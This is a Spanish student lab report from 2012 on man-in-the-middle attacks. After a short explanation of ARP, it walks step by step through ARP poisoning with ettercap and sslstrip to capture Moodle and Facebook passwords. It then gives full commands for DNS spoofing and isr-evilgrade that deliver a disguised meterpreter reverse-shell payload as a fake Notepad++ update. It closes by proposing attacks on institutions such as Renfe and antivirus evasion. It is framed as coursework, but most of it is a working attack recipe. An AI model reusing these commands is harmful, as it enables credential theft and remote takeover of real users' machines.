man in the middle: ettercap con sslstrip sacando contraseñas facebook,moodle... y dnsspoofing con...
DESCRIPTION
2012MAN IN THE MIDDLE FINALJavier García Cambronel SEGUNDO DE ASIR 28/02/2012[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012¿QUÉ ES EL PROTOCOLO ARP?PRÁCTICASMAQUINAS A UTILIZAR PRÁCTICA1 SACANDO CONTRASEÑA MOODLE Y FACEBOOK PRÁCTICA 2 EXPLOIT INDETECTABLE CAMUFLADOSEGUNDO DE ASIRPágina 1[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012¿QUÉ ES EL PROTOCOLO ARP?DEFINICIONEs un protocolo de nivel de red cuya función es asociar a la dirección IP su correspondiente dirección deTRANSCRIPT
MAN IN THE MIDDLE FINAL
2012
Javier García Cambronel SEGUNDO DE ASIR
28/02/2012
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 1
¿QUÉ ES EL PROTOCOLO ARP?
PRÁCTICAS
MAQUINAS A UTILIZAR
PRÁCTICA1 SACANDO CONTRASEÑA MOODLE Y
PRÁCTICA 2 EXPLOIT INDETECTABLE CAMUFLADO
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 2
¿QUÉ ES EL PROTOCOLO ARP?
DEFINICION
Es un protocolo de nivel de red cuya función es asociar a la dirección IP su correspondiente
dirección de red mac. El método utilizado para la obtención de la IP es mediante peticiones
de ARP. Cuando se quiere obtener la dirección mac se envía un paquete ARP request a la
dirección de multidifusión de red con la IP por la que se pregunta y espera obtener un
paquete ARP request de otra maquina con la dirección mac de esa dirección IP. Para
optimizar esto cada maquina mantiene una cache con las direcciones traducidas esto lo
llamaremos tablas ARP.
EJEMPLOS: COMPORTAMIENTO DE LOS PAQUETES
EN LA MISMA RED
Si queremos enviar un paquete de “A” a “B” que se encuentra en la misma red lo primero
que hace “A” es comprobar en su tabla ARP si se encuentra la dirección MAC de “B” si es así
se utiliza si no se enviara el correspondiente paquete broadcast esperando la respuesta de la
maquina cuya dirección IP corresponda con la preguntada añadiendo un nuevo registro a la
tabla. Estas entradas se borran cada cierto tiempo.
DESDE FUERA DE LA RED
En un segundo caso si “A” quiere enviar un paquete a “B” que no esta en su misma red lo
que hace “A” es enviarlo a través de la dirección física de su router de salida, para ello
consulta la tabla ARP realizando el correspondiente intercambio de mensajes si dicha
entrada no se encuentra en la tabla. Una vez en el router este consulta su tabla de
encaminamiento enviando el paquete al próximo nodo y así sucesivamente hasta que le
paquete llega a un router de la red en la que se encuentre la IP destino. Una vez allí el router
se encarga de averiguar la dirección física consultando su tabla ARP o preguntando con
mensajes correspondientes.
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 3
CAMPOS EN LOS DATAGRAMAS ARP:
Hardware protocol: 16bits. Tecnología de red empleada por debajo de TCP/IP.
Network protocol: 16 bits. Tipo de protocolo empleado a nivel 3.
Hardware address length: 8 bits. Longitud de la dirección de red de hardware.
Network address length: 8 bits. Longitud de la dirección de red IP.
Operación: 16 bits. Tipo de operación que nos da información sobre si se trata de
una petición o de una respuesta ARP.
Sender hardware address: 48 bits. Dirección física MAC. de la interfaz de red del
emisor.
Sender network address: 32 bits. Direction IP del emisor.
Target hardware address: 48 bits. Dirección física de la interfaz de red del receptor.
Target network address: 32 bits. La direction IP del receptor.
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 4
PRÁCTICAS
MAQUINAS A UTILIZAR Y PREPARAR LA INTERFAZ
ATACANTE
La máquina atacante va a ser un backtrack 5 con la ip 192.168.1.39
Para conocer tus diversas interfaces de red si solo te aparece la interfaz “lo”, utiliza el
comando:
/sbin/ifconfig –a
Y para levantar la interfaz ejecuta el siguiente comando donde “eth0” en nuestro caso es la
interfaz.
ifconfig eth0 up
Por último para que se nos proporcione una IP hay que indicárselo
dhclient eth0
VICTIMA1
La victima número uno va a ser un Windows XP con la ip 192.168.1.37
Con Nod32 Versión 5.0 Desactualizado con fecha 19/09/2011
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 5
VICTIMA2 WINDOWS 7 NOD32 VERSION 5 ACTUALIZADO
La victima número dos va a ser un Windows 7 con la ip 192.168.1.35
Con Nod32 versión 5 y completamente actualizado
PREPARAMOS LA MAQUINA ATACANTE
Para este cometido tendremos que instalar ettercap, lo haremos con el siguiente comando
apt-get install ettercap
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 6
PRÁCTICA1
OBJETIVOS
1-Capturar todo el tráfico de la red de la víctima, haciendo que pase por nosotros.
2-Que todo esto sea transparente a la víctima (que siga teniendo internet, que su
firewall no detecte nada extraño…)
3-Robar la contraseña del Moodle de la víctima y de sitios con https como
FACEBOOK.
COMPROBACION VICTIMA1 ANTES DEL ATAQUE
Accedemos a una página cualquiera y vemos que navegamos perfectamente.
Ejecutaremos el siguiente comando desde la consola
arp -a
Con este comando lo que hacemos es ver la dirección del router por la que estamos
navegando y su dirección mac.
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 7
INICIANDO EL ATAQUE SOBRE LA VICTIMA1
Para esto lo primero que hacemos será ejecutar wireshark, abrimos una terminal y
ejecutamos el siguiente comando
wireshark
Una vez ejecutado, se nos abrirá la interfaz gráfica, donde tendremos que elegir nuestra
interfaz, en mi caso la eth0.
Una vez que lo hemos ejecutado nos aparecerá la siguiente ventana, con la que podremos
analizar todo el tráfico que se realiza.
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 8
Hacemos lo siguiente descomentar las líneas comentadas en la imagen para permitir el
redireccionamiento:
gedit /etc/etter.conf
Creamos la regla pertinente para que funcione ssltrip y redireccionar páginas https, a http
automáticamente y así capturar sus contraseñas (Facebook, twitter).
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
Con el siguiente comando, hacemos que puedan salir a internet mediante nuestra maquina
todas las víctimas:
echo '1' > /proc/sys/net/ipv4/ip_forward
Comprobamos que se ha ejecutado el comando correctamente ejecutando este otro y
comprobando que el valor nos da uno.
cat /proc/sys/net/ipv4/ip_forward
Ahora ya estamos preparados para ejecutar el ataque, lo que vamos a hacer va a ser ejecutar
los siguientes comandos:
Este primero para hacer el redireccionamiento con ssltrip
sslstrip -l 10000
Y el siguiente para ejecutar la captura de los usuarios y contraseñas
ettercap -Tq -M –i eth0 arp:remote /192.168.1.37/ /192.168.1.1/
Con las siguientes opciones
-T: indica que el ataque se va a realizar desde la consola
-q: No mostrar el contenido capturado para eso utilizaremos Wireshark
-M: arp:remote selección del tipo de “mitm” que queremos realizar
Y después, las ip´s primero la de la víctima y en segundo lugar la del router.
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 9
Una vez ejecutado el comando veremos lo siguiente la interfaz por la que estamos
escuchando.
Acto seguido nos desplazaríamos a wireshark y vemos el proceso que se lleva a cabo para
dicho engaño enviando ARP REPLAYS FALSOS
Como vemos este proceso se hace, hasta que se lleva a cabo el engaño
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 10
VICTIMA ATACADA SACAMOS LA CONTRASEÑA DEL MOODLE
Como vemos podemos seguir navegando perfectamente entramos al moodle y escribimos
una contraseña que claramente no es la verdadera.
Como podemos ver, ya estamos capturando todo el tráfico de la victima
Y podemos ver como hemos sacado el nombre de usuario y la contraseña que habíamos
introducido
DESTACAR QUE CON EL COMANDO PERTINENTE…EN VEZ DE A UN ORDENADOR,
PODRIAMOS ATACAR A TODA LA RED Y SACAR TODAS LAS CONTRASEÑAS DE LA CLASE
INCLUIDAS LA DEL PROFESOR.
ettercap -Tq -M –i eth0 arp:remote /192.168.227.1/ //
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 11
VICTIMA ATACADA SACAMOS LA CONTRASEÑA DE FACEBOOK
Gracias a SSLTRIP redirecciona los sitios a los que entraríamos normalmente con https a http
y así podemos sacar las contraseñas.
Y podemos ver como hemos sacado el nombre de usuario y la contraseña que habíamos
introducido
VOLVEMOS A LOS VALORES ORIGINALES
Y es que como podemos comprobar estamos navegando a través del pc atacante
Finalizaríamos el ataque simplemente pulsando la letra q dentro de la consola donde
estamos realizando el ataque, para que los valores se restauren perfectamente
Y veríamos que volveremos a navegar con la dirección Mac y a través de nuestro router
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 12
INICIANDO EL ATAQUE SOBRE LA VICTIMA2
Ahora lo que vamos a hacer, es seguir los mismos pasos que con la victima uno, para así
poder ver las diferencias, en el caso de haberlas en el comportamiento del ataque. Para esto
se han seguido los mismos pasos, asique no los explicare detalladamente como he hecho con
la victima1.
REALIZAMOS EL ATAQUE
Vemos como el antivirus nos informa de un envenenamiento ARP, el mensaje sale, varias
veces, las veces que se intenta el envenenamiento.
Y nos aparece el siguiente mensaje después de bloquear los ataques.
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 13
TAMBIEN TIENE SUS CONSECUENCIAS
El ataque no se llega a producir, pero tiene sus consecuencias, NOS DEJA SIN SERVICIO y es
necesario reiniciar el modem unas cuantas veces.
Y nos aparece la siguiente ventana, de que estamos conectados, pero con acceso limitado y
pese a cambiar la IP a intentar volver a hacer la conexión con Solucionar problemas de
conexión y demás el resultado es el mismo.
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 14
PRÁCTICA 2
OBJETIVOS
1-Abrir una sesión meterpreter en la víctima
2-Emular DNS de empresas y reales en las víctimas (ETTERCAP)
3-Emular Mediante los DNS del punto anterior actualizaciones de programas, como si
fueran verdaderas y haciendo que se descargue nuestro EXPLOIT INDETECTABLE.
4-Que todo sea transparente a la víctima.
PREPARAMOS LA MÁQUINA ATACANTE
CREAMOS EL EXPLOIT
Si no tenemos nuestro exploit indetectable, lo crearemos siguiendo los pasos de la PRÁCTICA
OPTATIVA METASPLOIT INDETECTABLE, aunque podríamos utilizar cualquier payload,
siempre y cuando generáramos un archivo .exe con él, para que de esa forma pudiera ser
ejecutado en nuestra víctima.
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 15
DEJAMOS EN ESCUCHA EL PAYLOAD
Una vez que tenemos nuestro exploit, para dejarlo a la escucha ejecutamos el siguiente
comando
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.39 LPORT=3222 E
Como vemos, ya estamos esperando a que se ejecute el archivo malicioso, para realizar el
ataque
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 16
EJECUTAMOS ISR-EVILGRADE
Lo siguiente que tenemos que hacer es ejecutar isr-evilgrade
Una vez que lo hemos ejecutado introducimos el siguiente comando para que se carguen
todos los módulos
./evilgrade
Cada modulo imita perfectamente, con una ventana igual a la verdadera del propio
programa una actualización, solo tendríamos que elegir el módulo de un programa que
sabemos que ejecuta la víctima y si no tenemos dicho módulo podemos ver si esta
disponible para descargarlo.
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 17
ESCOGEMOS EL PROGRAMA PARA EMULAR SUS ACTUALIZACIONES
Nosotros vamos a utilizar el módulo referente a notepadplus para ello ejecutamos el
siguiente comando.
config notepadplus
Y nos disponemos a mirar las opciones con este otro comando
show options
En las opciones nos tendremos que fijar siempre sea cual sea el modulo que utilicemos el
apartado virtualhost, pues va a ser el DNS a emular copiamos esta dirección.
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 18
EMULAMOS EL DNS DE LA EMPRESA
Y lo siguiente que vamos a hacer es añadirla al archivo de emulación DNS de ettercap, para
este cometido ejecutamos el siguiente comando
gedit /usr/local/share/videojak/etter.dns
Y lo dejamos, como vemos en la pantalla, con el valor (dirección) que hemos copiado del
paso anterior y con la ip de nuestro ordenador (ATACANTE), una vez hecho esto, lo
guardamos.
Y ejecutamos el siguiente comando para atacar a toda la red con el plugin de DNS SPOOF el
cuál acabamos de configurar para nuestro cometido (mediante la interfaz) aunque
podríamos atacar también a ordenadores específicos.
ettercap -T -q -P dns_spoof -M arp /192.168.1.1/ // -i eth0
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 19
INICIAMOS EL ATAQUE Hasta ahora….ya estamos actuando como DNS cuando se requiera una actualización de
Notepad, la cual siempre como en casi todos los programas, busca si hay nuevas y también
estamos esperando a que se ejecute nuestro exploit para abrir una sesión de meterpreter.
El archivo del exploit que hemos creado, lo metemos en la carpeta isr-evilgrade, como vemos
en la pantalla.
Y ahora lo que hacemos, va a ser que cuando se descargue la actualización….lo que descarge
y ejecute sea nuestro exploit, para ello seleccionamos el archivo que hemos generado para
que lo utilice isr-evilgrade, lo hacemos con el siguiente comando, donde final.exe es el
nombre del archivo.
set agent final.exe
Por último para empezar hacer el ataque escribiríamos el comando
start
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 20
VEMOS EL EFECTO EN LA VICTIMA
Ahora desde el equipo víctima abrimos notepad++ y nos aparece la ventana de que esta
disponible una nueva actualización, es la misma ventana que sale cuando hay una
actualización real, con lo que la víctima no sospecha y dice que si, para así descargar la nueva
versión.
VEMOS EL EFECTO EN EL ATACANTE
En cuanto la víctima acepte diga que si a la actualización lo que veremos en la maquina del
atacante desde la consola donde estamos ejecutando evilgrade, será lo siguiente, todo el
proceso que se esta llevando a cabo y que le hemos enviado el archivo malicioso
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 21
VEMOS EL EFECTO EN LA VICTIMA AL TERMINAR LA ACTUALIZACION
En la ventana de la victima todo normal, como una actualización cualquiera de notepad, con
su barrita de progreso y demás, una vez acaba la “instalación” nos dice que notepad necesita
cerrarse, para que tenga efecto la actualización asique pulsamos que Sí.
EL EFECTO EN EL ATACANTE: ABRIMOS LA SESION DE METERPRETER
Nada más pulsar sobre sí vemos que en la máquina atacante hemos abierto la sesión de
meterpreter y ya podríamos abrir una Shell, hacer el ataque permanente….lo que
quisiéramos, vemos que si hacemos un ls listamos el contenido del directorio donde se
encuentra nuestro exploit.
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 22
Hacemos una captura de la víctima para finalizar
COMENTARIO SOBRE ESTA ÚLTIMA PRÁCTICA En la Victima2 no nos ha bloqueado el ataque pero el antivirus detecta nuestro backdoor.
Si queremos atacar a instituciones, Hay que complementar varios programas como hemos
hecho hasta ahora (Ettercap, isr-evilgrade, metasploit) y añadiríamos uno más FOCA
Nos desplazaríamos a Tools DNS Snooping
Cargaríamos el archivo, que va a ser el encargado de decirnos, que programas están pidiendo
actualizaciones en ese momento en la empresa.
El archivo en concreto es update servers.txt
[MAN IN THE MIDDLE FINAL] 28 de febrero de 2012
SEGUNDO DE ASIR Página 23
Una vez hecho esto:
1-Escribimos el nombre del dominio, del sitio que queramos.
2-Obtenemos sus DNS.
3-Una vez obtenidos seleccionamos el que queramos, para hacer Snoop.
4-Al hacer snoop veremos todos los programas que están recibiendo actualizaciones en ese
momento, en algún ordenador de renfe, partiendo de la base de que las instalaciones de las
empresas suelen ser clónicas (mismo S.O, mismo Antivirus….), solo nos quedarían dos cosas,
mirar, de que programas podríamos emular sus actualizaciones con isr-evilgrade (En este
caso los tres del recuadro) y hacer lo mismo, para saber que antivirus están utilizando, para
así crear un exploit indetectable a este.